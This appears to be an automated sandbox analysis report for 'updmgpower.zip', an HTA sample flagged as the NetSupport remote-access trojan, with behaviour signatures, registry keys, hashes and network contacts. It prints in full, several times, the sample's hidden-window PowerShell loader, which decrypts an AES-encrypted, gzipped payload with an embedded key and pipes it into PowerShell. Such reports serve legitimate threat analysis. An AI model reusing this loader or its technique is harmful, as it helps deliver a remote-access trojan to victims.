Analysis Overview
SHA256
0e465179f23f38136ff272da903c53f5d748384294c196d86cd920650ef536f1
Threat Level: Known bad
The file updmgpower.zip was found to be: Known bad.
Malicious Activity Summary
NetSupport
Blocklisted process makes network request
Executes dropped EXE
Loads dropped DLL
Checks computer location settings
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Suspicious use of FindShellTrayWindow
Modifies Internet Explorer settings
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-01-24 16:40
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-01-24 16:40
Reported
2024-01-24 16:42
Platform
win7-20231215-en
Max time kernel
120s
Max time network
124s
Command Line
Signatures
Enumerates physical storage devices
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\updmgpower.hta"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $lYSy = 'AAAAAAAAAAAAAAAAAAAAACo/uNMd3GaeKSYlYiHke6mPen33RvZiuADfb2N+DsrG7TE1QXrIudTxSwZddnPd5taoKj5ZN0kYyja5SS7odxfksCVS7U5omQKUYVbyie8I/5cWCPj0X4V1rh7SOURRirZha4xFkxycKwxSUaXTt0TCyR9/BtYOjJ9hEKbdO051P9uAoRUEOpCnWiPIw5ZT9uuCJ79CfOxk6owHRYBMCcnm1Lm66mS5lIxBz0FrWrtn2zP1NbAVS0f0U0TDx4S+G6Q+cctuR/LcO0w84LBK1VpFHw5Tpe9XBKcHQP4dALPCB6d/IOnrVKTgywymceAD2OiVYHClxSO3Ph+ReLjcz6OM2jv5ucA6ENEjbADik+m5Bsj4/KlTe3SeONgrtkI7XNx09fQqQGyXg8YCiTzNDnk3JcWb6yuIyYlPQ6jJlrIQcGkC4p7mLlnMmYqbj1KoN98RRxpTkAvJyjKZQdIDopisRGHJWdtUiObIDF7TyB7cu4hAe0CLcunUwIUDoKmjfaob/nO7XhS6JP3zOLLvwWuJ2Tnj0fhvxF1y3oO2UIt6mTdVN9HUw2HkDF7YyQfHylMS5YGSCIxpW/dLPKXAMTM3nIjjgtYKiiJ+abzly4EBNswEK9Jpc9OPgxIcFINY2POwV7bg0su15sG9pgvncg+ND7CiINjxSsoW/w456NDyuOgp0IIsHL30wfkkqcUok+uSzTNeba71xPy6nUHgdJXLhyeUubkQsHdlHfftU2uw9W7jgZYuUgOiX6bcI0ENSoJCHjgltZNlik57YwbPUIHzqALK1iKwAW/Bbudeq9pKx3m45dK6i6i1b9mkpcqW2Cy7XFabY4hzSK0GTJuWJFpMGOh4RcrWV3hxfsp/q0mhYE9Vbd1oTqXqhAwuBT/3FDFbEuL2rM6fL6F8K1yU12E8j87N6IIGoCZc+PmXb1Lb+XYPe//TXakyR0pAMy1fSGpT+vhNJajbz2HQlgAOeoMLmHqxeWfMWbvOVhm86igzAkY94UFgmSMXSWRm+RGr+TY1vrV1iVde7JP94gzM1QVhHcQc/keUK8Zr2LpK0WOe4Nt0+5ezrMUh9RRBczsZSw==';$pVEWBtj = 'eFpuYk9QQ3ZYb3RWVGdWcmhtY25QWW1qc1dNektZd3k=';$CLwidN = New-Object 'System.Security.Cryptography.AesManaged';$CLwidN.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CLwidN.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CLwidN.BlockSize = 128;$CLwidN.KeySize = 256;$CLwidN.Key = [System.Convert]::FromBase64String($pVEWBtj);$yYfGJ = [System.Convert]::FromBase64String($lYSy);$GNNtGeOF = $yYfGJ[0..15];$CLwidN.IV = $GNNtGeOF;$QuHjugNWv = $CLwidN.CreateDecryptor();$mEinihCZX = $QuHjugNWv.TransformFinalBlock($yYfGJ, 16, $yYfGJ.Length - 16);$CLwidN.Dispose();$SsQetEs = New-Object System.IO.MemoryStream( , $mEinihCZX );$YaxnGM = New-Object System.IO.MemoryStream;$axfWSsykS = New-Object System.IO.Compression.GzipStream $SsQetEs, ([IO.Compression.CompressionMode]::Decompress);$axfWSsykS.CopyTo( $YaxnGM );$axfWSsykS.Close();$SsQetEs.Close();[byte[]] $VgPKdva = $YaxnGM.ToArray();$YfLTiD = [System.Text.Encoding]::UTF8.GetString($VgPKdva);$YfLTiD | powershell - }
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c powershell.exe $lYSy = 'AAAAAAAAAAAAAAAAAAAAACo/uNMd3GaeKSYlYiHke6mPen33RvZiuADfb2N+DsrG7TE1QXrIudTxSwZddnPd5taoKj5ZN0kYyja5SS7odxfksCVS7U5omQKUYVbyie8I/5cWCPj0X4V1rh7SOURRirZha4xFkxycKwxSUaXTt0TCyR9/BtYOjJ9hEKbdO051P9uAoRUEOpCnWiPIw5ZT9uuCJ79CfOxk6owHRYBMCcnm1Lm66mS5lIxBz0FrWrtn2zP1NbAVS0f0U0TDx4S+G6Q+cctuR/LcO0w84LBK1VpFHw5Tpe9XBKcHQP4dALPCB6d/IOnrVKTgywymceAD2OiVYHClxSO3Ph+ReLjcz6OM2jv5ucA6ENEjbADik+m5Bsj4/KlTe3SeONgrtkI7XNx09fQqQGyXg8YCiTzNDnk3JcWb6yuIyYlPQ6jJlrIQcGkC4p7mLlnMmYqbj1KoN98RRxpTkAvJyjKZQdIDopisRGHJWdtUiObIDF7TyB7cu4hAe0CLcunUwIUDoKmjfaob/nO7XhS6JP3zOLLvwWuJ2Tnj0fhvxF1y3oO2UIt6mTdVN9HUw2HkDF7YyQfHylMS5YGSCIxpW/dLPKXAMTM3nIjjgtYKiiJ+abzly4EBNswEK9Jpc9OPgxIcFINY2POwV7bg0su15sG9pgvncg+ND7CiINjxSsoW/w456NDyuOgp0IIsHL30wfkkqcUok+uSzTNeba71xPy6nUHgdJXLhyeUubkQsHdlHfftU2uw9W7jgZYuUgOiX6bcI0ENSoJCHjgltZNlik57YwbPUIHzqALK1iKwAW/Bbudeq9pKx3m45dK6i6i1b9mkpcqW2Cy7XFabY4hzSK0GTJuWJFpMGOh4RcrWV3hxfsp/q0mhYE9Vbd1oTqXqhAwuBT/3FDFbEuL2rM6fL6F8K1yU12E8j87N6IIGoCZc+PmXb1Lb+XYPe//TXakyR0pAMy1fSGpT+vhNJajbz2HQlgAOeoMLmHqxeWfMWbvOVhm86igzAkY94UFgmSMXSWRm+RGr+TY1vrV1iVde7JP94gzM1QVhHcQc/keUK8Zr2LpK0WOe4Nt0+5ezrMUh9RRBczsZSw==';$pVEWBtj = 'eFpuYk9QQ3ZYb3RWVGdWcmhtY25QWW1qc1dNektZd3k=';$CLwidN = New-Object 'System.Security.Cryptography.AesManaged';$CLwidN.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CLwidN.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CLwidN.BlockSize = 128;$CLwidN.KeySize = 256;$CLwidN.Key = [System.Convert]::FromBase64String($pVEWBtj);$yYfGJ = [System.Convert]::FromBase64String($lYSy);$GNNtGeOF = $yYfGJ[0..15];$CLwidN.IV = $GNNtGeOF;$QuHjugNWv = $CLwidN.CreateDecryptor();$mEinihCZX = $QuHjugNWv.TransformFinalBlock($yYfGJ, 16, $yYfGJ.Length - 16);$CLwidN.Dispose();$SsQetEs = New-Object System.IO.MemoryStream( , $mEinihCZX );$YaxnGM = New-Object System.IO.MemoryStream;$axfWSsykS = New-Object System.IO.Compression.GzipStream $SsQetEs, ([IO.Compression.CompressionMode]::Decompress);$axfWSsykS.CopyTo( $YaxnGM );$axfWSsykS.Close();$SsQetEs.Close();[byte[]] $VgPKdva = $YaxnGM.ToArray();$YfLTiD = [System.Text.Encoding]::UTF8.GetString($VgPKdva);$YfLTiD | powershell -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe $lYSy = 'AAAAAAAAAAAAAAAAAAAAACo/uNMd3GaeKSYlYiHke6mPen33RvZiuADfb2N+DsrG7TE1QXrIudTxSwZddnPd5taoKj5ZN0kYyja5SS7odxfksCVS7U5omQKUYVbyie8I/5cWCPj0X4V1rh7SOURRirZha4xFkxycKwxSUaXTt0TCyR9/BtYOjJ9hEKbdO051P9uAoRUEOpCnWiPIw5ZT9uuCJ79CfOxk6owHRYBMCcnm1Lm66mS5lIxBz0FrWrtn2zP1NbAVS0f0U0TDx4S+G6Q+cctuR/LcO0w84LBK1VpFHw5Tpe9XBKcHQP4dALPCB6d/IOnrVKTgywymceAD2OiVYHClxSO3Ph+ReLjcz6OM2jv5ucA6ENEjbADik+m5Bsj4/KlTe3SeONgrtkI7XNx09fQqQGyXg8YCiTzNDnk3JcWb6yuIyYlPQ6jJlrIQcGkC4p7mLlnMmYqbj1KoN98RRxpTkAvJyjKZQdIDopisRGHJWdtUiObIDF7TyB7cu4hAe0CLcunUwIUDoKmjfaob/nO7XhS6JP3zOLLvwWuJ2Tnj0fhvxF1y3oO2UIt6mTdVN9HUw2HkDF7YyQfHylMS5YGSCIxpW/dLPKXAMTM3nIjjgtYKiiJ+abzly4EBNswEK9Jpc9OPgxIcFINY2POwV7bg0su15sG9pgvncg+ND7CiINjxSsoW/w456NDyuOgp0IIsHL30wfkkqcUok+uSzTNeba71xPy6nUHgdJXLhyeUubkQsHdlHfftU2uw9W7jgZYuUgOiX6bcI0ENSoJCHjgltZNlik57YwbPUIHzqALK1iKwAW/Bbudeq9pKx3m45dK6i6i1b9mkpcqW2Cy7XFabY4hzSK0GTJuWJFpMGOh4RcrWV3hxfsp/q0mhYE9Vbd1oTqXqhAwuBT/3FDFbEuL2rM6fL6F8K1yU12E8j87N6IIGoCZc+PmXb1Lb+XYPe//TXakyR0pAMy1fSGpT+vhNJajbz2HQlgAOeoMLmHqxeWfMWbvOVhm86igzAkY94UFgmSMXSWRm+RGr+TY1vrV1iVde7JP94gzM1QVhHcQc/keUK8Zr2LpK0WOe4Nt0+5ezrMUh9RRBczsZSw==';$pVEWBtj = 'eFpuYk9QQ3ZYb3RWVGdWcmhtY25QWW1qc1dNektZd3k=';$CLwidN = New-Object 'System.Security.Cryptography.AesManaged';$CLwidN.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CLwidN.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CLwidN.BlockSize = 128;$CLwidN.KeySize = 256;$CLwidN.Key = [System.Convert]::FromBase64String($pVEWBtj);$yYfGJ = [System.Convert]::FromBase64String($lYSy);$GNNtGeOF = $yYfGJ[0..15];$CLwidN.IV = $GNNtGeOF;$QuHjugNWv = $CLwidN.CreateDecryptor();$mEinihCZX = $QuHjugNWv.TransformFinalBlock($yYfGJ, 16, $yYfGJ.Length - 16);$CLwidN.Dispose();$SsQetEs = New-Object System.IO.MemoryStream( , $mEinihCZX );$YaxnGM = New-Object System.IO.MemoryStream;$axfWSsykS = New-Object System.IO.Compression.GzipStream $SsQetEs, ([IO.Compression.CompressionMode]::Decompress);$axfWSsykS.CopyTo( $YaxnGM );$axfWSsykS.Close();$SsQetEs.Close();[byte[]] $VgPKdva = $YaxnGM.ToArray();$YfLTiD = [System.Text.Encoding]::UTF8.GetString($VgPKdva);$YfLTiD
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -
Network
Files
memory/1944-11-0x0000000072800000-0x0000000072DAB000-memory.dmp
memory/1944-12-0x0000000072800000-0x0000000072DAB000-memory.dmp
memory/1944-13-0x0000000002740000-0x0000000002780000-memory.dmp
memory/1944-14-0x0000000002740000-0x0000000002780000-memory.dmp
memory/1944-15-0x0000000072800000-0x0000000072DAB000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | 537a227bcb64d1d8b2e76a7134465c14 |
| SHA1 | 7d5215cd25bf268b6d6b859b6a16648be71c1efa |
| SHA256 | 6054ddbbf13161641118ef295d9459090ca0302fee5ce4e34f24e6f126b49c9c |
| SHA512 | e5938de3840a4121bcc6bbb7dbb2bc8c2b06df6eca48f5b2338c92c961843bbf9fda79cbf4925d5e7e08926ce323d3959d1b50c607d9d56696caf0554a3526b8 |
memory/2736-26-0x0000000074D70000-0x000000007531B000-memory.dmp
memory/2736-28-0x00000000025A0000-0x00000000025E0000-memory.dmp
memory/2736-27-0x0000000074D70000-0x000000007531B000-memory.dmp
memory/2892-31-0x0000000074D70000-0x000000007531B000-memory.dmp
memory/2892-30-0x0000000002380000-0x00000000023C0000-memory.dmp
memory/2892-29-0x0000000074D70000-0x000000007531B000-memory.dmp
memory/2892-32-0x0000000074D70000-0x000000007531B000-memory.dmp
memory/2736-33-0x0000000074D70000-0x000000007531B000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-01-24 16:40
Reported
2024-01-24 16:42
Platform
win10v2004-20231215-en
Max time kernel
140s
Max time network
148s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\updmgpower.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $lYSy = 'AAAAAAAAAAAAAAAAAAAAACo/uNMd3GaeKSYlYiHke6mPen33RvZiuADfb2N+DsrG7TE1QXrIudTxSwZddnPd5taoKj5ZN0kYyja5SS7odxfksCVS7U5omQKUYVbyie8I/5cWCPj0X4V1rh7SOURRirZha4xFkxycKwxSUaXTt0TCyR9/BtYOjJ9hEKbdO051P9uAoRUEOpCnWiPIw5ZT9uuCJ79CfOxk6owHRYBMCcnm1Lm66mS5lIxBz0FrWrtn2zP1NbAVS0f0U0TDx4S+G6Q+cctuR/LcO0w84LBK1VpFHw5Tpe9XBKcHQP4dALPCB6d/IOnrVKTgywymceAD2OiVYHClxSO3Ph+ReLjcz6OM2jv5ucA6ENEjbADik+m5Bsj4/KlTe3SeONgrtkI7XNx09fQqQGyXg8YCiTzNDnk3JcWb6yuIyYlPQ6jJlrIQcGkC4p7mLlnMmYqbj1KoN98RRxpTkAvJyjKZQdIDopisRGHJWdtUiObIDF7TyB7cu4hAe0CLcunUwIUDoKmjfaob/nO7XhS6JP3zOLLvwWuJ2Tnj0fhvxF1y3oO2UIt6mTdVN9HUw2HkDF7YyQfHylMS5YGSCIxpW/dLPKXAMTM3nIjjgtYKiiJ+abzly4EBNswEK9Jpc9OPgxIcFINY2POwV7bg0su15sG9pgvncg+ND7CiINjxSsoW/w456NDyuOgp0IIsHL30wfkkqcUok+uSzTNeba71xPy6nUHgdJXLhyeUubkQsHdlHfftU2uw9W7jgZYuUgOiX6bcI0ENSoJCHjgltZNlik57YwbPUIHzqALK1iKwAW/Bbudeq9pKx3m45dK6i6i1b9mkpcqW2Cy7XFabY4hzSK0GTJuWJFpMGOh4RcrWV3hxfsp/q0mhYE9Vbd1oTqXqhAwuBT/3FDFbEuL2rM6fL6F8K1yU12E8j87N6IIGoCZc+PmXb1Lb+XYPe//TXakyR0pAMy1fSGpT+vhNJajbz2HQlgAOeoMLmHqxeWfMWbvOVhm86igzAkY94UFgmSMXSWRm+RGr+TY1vrV1iVde7JP94gzM1QVhHcQc/keUK8Zr2LpK0WOe4Nt0+5ezrMUh9RRBczsZSw==';$pVEWBtj = 'eFpuYk9QQ3ZYb3RWVGdWcmhtY25QWW1qc1dNektZd3k=';$CLwidN = New-Object 'System.Security.Cryptography.AesManaged';$CLwidN.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CLwidN.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CLwidN.BlockSize = 128;$CLwidN.KeySize = 256;$CLwidN.Key = [System.Convert]::FromBase64String($pVEWBtj);$yYfGJ = [System.Convert]::FromBase64String($lYSy);$GNNtGeOF = $yYfGJ[0..15];$CLwidN.IV = $GNNtGeOF;$QuHjugNWv = $CLwidN.CreateDecryptor();$mEinihCZX = $QuHjugNWv.TransformFinalBlock($yYfGJ, 16, $yYfGJ.Length - 16);$CLwidN.Dispose();$SsQetEs = New-Object System.IO.MemoryStream( , $mEinihCZX );$YaxnGM = New-Object System.IO.MemoryStream;$axfWSsykS = New-Object System.IO.Compression.GzipStream $SsQetEs, ([IO.Compression.CompressionMode]::Decompress);$axfWSsykS.CopyTo( $YaxnGM );$axfWSsykS.Close();$SsQetEs.Close();[byte[]] $VgPKdva = $YaxnGM.ToArray();$YfLTiD = [System.Text.Encoding]::UTF8.GetString($VgPKdva);$YfLTiD | powershell - }
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c powershell.exe $lYSy = 'AAAAAAAAAAAAAAAAAAAAACo/uNMd3GaeKSYlYiHke6mPen33RvZiuADfb2N+DsrG7TE1QXrIudTxSwZddnPd5taoKj5ZN0kYyja5SS7odxfksCVS7U5omQKUYVbyie8I/5cWCPj0X4V1rh7SOURRirZha4xFkxycKwxSUaXTt0TCyR9/BtYOjJ9hEKbdO051P9uAoRUEOpCnWiPIw5ZT9uuCJ79CfOxk6owHRYBMCcnm1Lm66mS5lIxBz0FrWrtn2zP1NbAVS0f0U0TDx4S+G6Q+cctuR/LcO0w84LBK1VpFHw5Tpe9XBKcHQP4dALPCB6d/IOnrVKTgywymceAD2OiVYHClxSO3Ph+ReLjcz6OM2jv5ucA6ENEjbADik+m5Bsj4/KlTe3SeONgrtkI7XNx09fQqQGyXg8YCiTzNDnk3JcWb6yuIyYlPQ6jJlrIQcGkC4p7mLlnMmYqbj1KoN98RRxpTkAvJyjKZQdIDopisRGHJWdtUiObIDF7TyB7cu4hAe0CLcunUwIUDoKmjfaob/nO7XhS6JP3zOLLvwWuJ2Tnj0fhvxF1y3oO2UIt6mTdVN9HUw2HkDF7YyQfHylMS5YGSCIxpW/dLPKXAMTM3nIjjgtYKiiJ+abzly4EBNswEK9Jpc9OPgxIcFINY2POwV7bg0su15sG9pgvncg+ND7CiINjxSsoW/w456NDyuOgp0IIsHL30wfkkqcUok+uSzTNeba71xPy6nUHgdJXLhyeUubkQsHdlHfftU2uw9W7jgZYuUgOiX6bcI0ENSoJCHjgltZNlik57YwbPUIHzqALK1iKwAW/Bbudeq9pKx3m45dK6i6i1b9mkpcqW2Cy7XFabY4hzSK0GTJuWJFpMGOh4RcrWV3hxfsp/q0mhYE9Vbd1oTqXqhAwuBT/3FDFbEuL2rM6fL6F8K1yU12E8j87N6IIGoCZc+PmXb1Lb+XYPe//TXakyR0pAMy1fSGpT+vhNJajbz2HQlgAOeoMLmHqxeWfMWbvOVhm86igzAkY94UFgmSMXSWRm+RGr+TY1vrV1iVde7JP94gzM1QVhHcQc/keUK8Zr2LpK0WOe4Nt0+5ezrMUh9RRBczsZSw==';$pVEWBtj = 'eFpuYk9QQ3ZYb3RWVGdWcmhtY25QWW1qc1dNektZd3k=';$CLwidN = New-Object 'System.Security.Cryptography.AesManaged';$CLwidN.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CLwidN.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CLwidN.BlockSize = 128;$CLwidN.KeySize = 256;$CLwidN.Key = [System.Convert]::FromBase64String($pVEWBtj);$yYfGJ = [System.Convert]::FromBase64String($lYSy);$GNNtGeOF = $yYfGJ[0..15];$CLwidN.IV = $GNNtGeOF;$QuHjugNWv = $CLwidN.CreateDecryptor();$mEinihCZX = $QuHjugNWv.TransformFinalBlock($yYfGJ, 16, $yYfGJ.Length - 16);$CLwidN.Dispose();$SsQetEs = New-Object System.IO.MemoryStream( , $mEinihCZX );$YaxnGM = New-Object System.IO.MemoryStream;$axfWSsykS = New-Object System.IO.Compression.GzipStream $SsQetEs, ([IO.Compression.CompressionMode]::Decompress);$axfWSsykS.CopyTo( $YaxnGM );$axfWSsykS.Close();$SsQetEs.Close();[byte[]] $VgPKdva = $YaxnGM.ToArray();$YfLTiD = [System.Text.Encoding]::UTF8.GetString($VgPKdva);$YfLTiD | powershell -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe $lYSy = 'AAAAAAAAAAAAAAAAAAAAACo/uNMd3GaeKSYlYiHke6mPen33RvZiuADfb2N+DsrG7TE1QXrIudTxSwZddnPd5taoKj5ZN0kYyja5SS7odxfksCVS7U5omQKUYVbyie8I/5cWCPj0X4V1rh7SOURRirZha4xFkxycKwxSUaXTt0TCyR9/BtYOjJ9hEKbdO051P9uAoRUEOpCnWiPIw5ZT9uuCJ79CfOxk6owHRYBMCcnm1Lm66mS5lIxBz0FrWrtn2zP1NbAVS0f0U0TDx4S+G6Q+cctuR/LcO0w84LBK1VpFHw5Tpe9XBKcHQP4dALPCB6d/IOnrVKTgywymceAD2OiVYHClxSO3Ph+ReLjcz6OM2jv5ucA6ENEjbADik+m5Bsj4/KlTe3SeONgrtkI7XNx09fQqQGyXg8YCiTzNDnk3JcWb6yuIyYlPQ6jJlrIQcGkC4p7mLlnMmYqbj1KoN98RRxpTkAvJyjKZQdIDopisRGHJWdtUiObIDF7TyB7cu4hAe0CLcunUwIUDoKmjfaob/nO7XhS6JP3zOLLvwWuJ2Tnj0fhvxF1y3oO2UIt6mTdVN9HUw2HkDF7YyQfHylMS5YGSCIxpW/dLPKXAMTM3nIjjgtYKiiJ+abzly4EBNswEK9Jpc9OPgxIcFINY2POwV7bg0su15sG9pgvncg+ND7CiINjxSsoW/w456NDyuOgp0IIsHL30wfkkqcUok+uSzTNeba71xPy6nUHgdJXLhyeUubkQsHdlHfftU2uw9W7jgZYuUgOiX6bcI0ENSoJCHjgltZNlik57YwbPUIHzqALK1iKwAW/Bbudeq9pKx3m45dK6i6i1b9mkpcqW2Cy7XFabY4hzSK0GTJuWJFpMGOh4RcrWV3hxfsp/q0mhYE9Vbd1oTqXqhAwuBT/3FDFbEuL2rM6fL6F8K1yU12E8j87N6IIGoCZc+PmXb1Lb+XYPe//TXakyR0pAMy1fSGpT+vhNJajbz2HQlgAOeoMLmHqxeWfMWbvOVhm86igzAkY94UFgmSMXSWRm+RGr+TY1vrV1iVde7JP94gzM1QVhHcQc/keUK8Zr2LpK0WOe4Nt0+5ezrMUh9RRBczsZSw==';$pVEWBtj = 'eFpuYk9QQ3ZYb3RWVGdWcmhtY25QWW1qc1dNektZd3k=';$CLwidN = New-Object 'System.Security.Cryptography.AesManaged';$CLwidN.Mode = [System.Security.Cryptography.CipherMode]::ECB;$CLwidN.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$CLwidN.BlockSize = 128;$CLwidN.KeySize = 256;$CLwidN.Key = [System.Convert]::FromBase64String($pVEWBtj);$yYfGJ = [System.Convert]::FromBase64String($lYSy);$GNNtGeOF = $yYfGJ[0..15];$CLwidN.IV = $GNNtGeOF;$QuHjugNWv = $CLwidN.CreateDecryptor();$mEinihCZX = $QuHjugNWv.TransformFinalBlock($yYfGJ, 16, $yYfGJ.Length - 16);$CLwidN.Dispose();$SsQetEs = New-Object System.IO.MemoryStream( , $mEinihCZX );$YaxnGM = New-Object System.IO.MemoryStream;$axfWSsykS = New-Object System.IO.Compression.GzipStream $SsQetEs, ([IO.Compression.CompressionMode]::Decompress);$axfWSsykS.CopyTo( $YaxnGM );$axfWSsykS.Close();$SsQetEs.Close();[byte[]] $VgPKdva = $YaxnGM.ToArray();$YfLTiD = [System.Text.Encoding]::UTF8.GetString($VgPKdva);$YfLTiD
C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe
"C:\Users\Admin\AppData\Roaming\FaultDamage\hrefa.exe"
Network
| Country | Destination | Domain | Proto |
| US | 138.91.171.81:80 | tcp | |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 173.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 20.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | vass.us | udp |
| US | 188.114.97.2:443 | vass.us | tcp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.97.114.188.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 5.181.159.27:443 | tcp | |
| US | 8.8.8.8:53 | 23.160.77.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| US | 104.26.1.231:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 27.159.181.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 231.1.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 69.210.218.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 190.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 195.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.173.189.20.in-addr.arpa | udp |
Files
memory/4780-0-0x0000000071280000-0x0000000071A30000-memory.dmp
memory/4780-1-0x0000000002A10000-0x0000000002A20000-memory.dmp
memory/4780-2-0x0000000001170000-0x00000000011A6000-memory.dmp
memory/4780-3-0x0000000002A10000-0x0000000002A20000-memory.dmp
memory/4780-4-0x00000000053D0000-0x00000000059F8000-memory.dmp
memory/4780-5-0x0000000005270000-0x0000000005292000-memory.dmp
memory/4780-6-0x0000000005B70000-0x0000000005BD6000-memory.dmp
memory/4780-7-0x0000000005BE0000-0x0000000005C46000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v3oug3f0.tyk.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
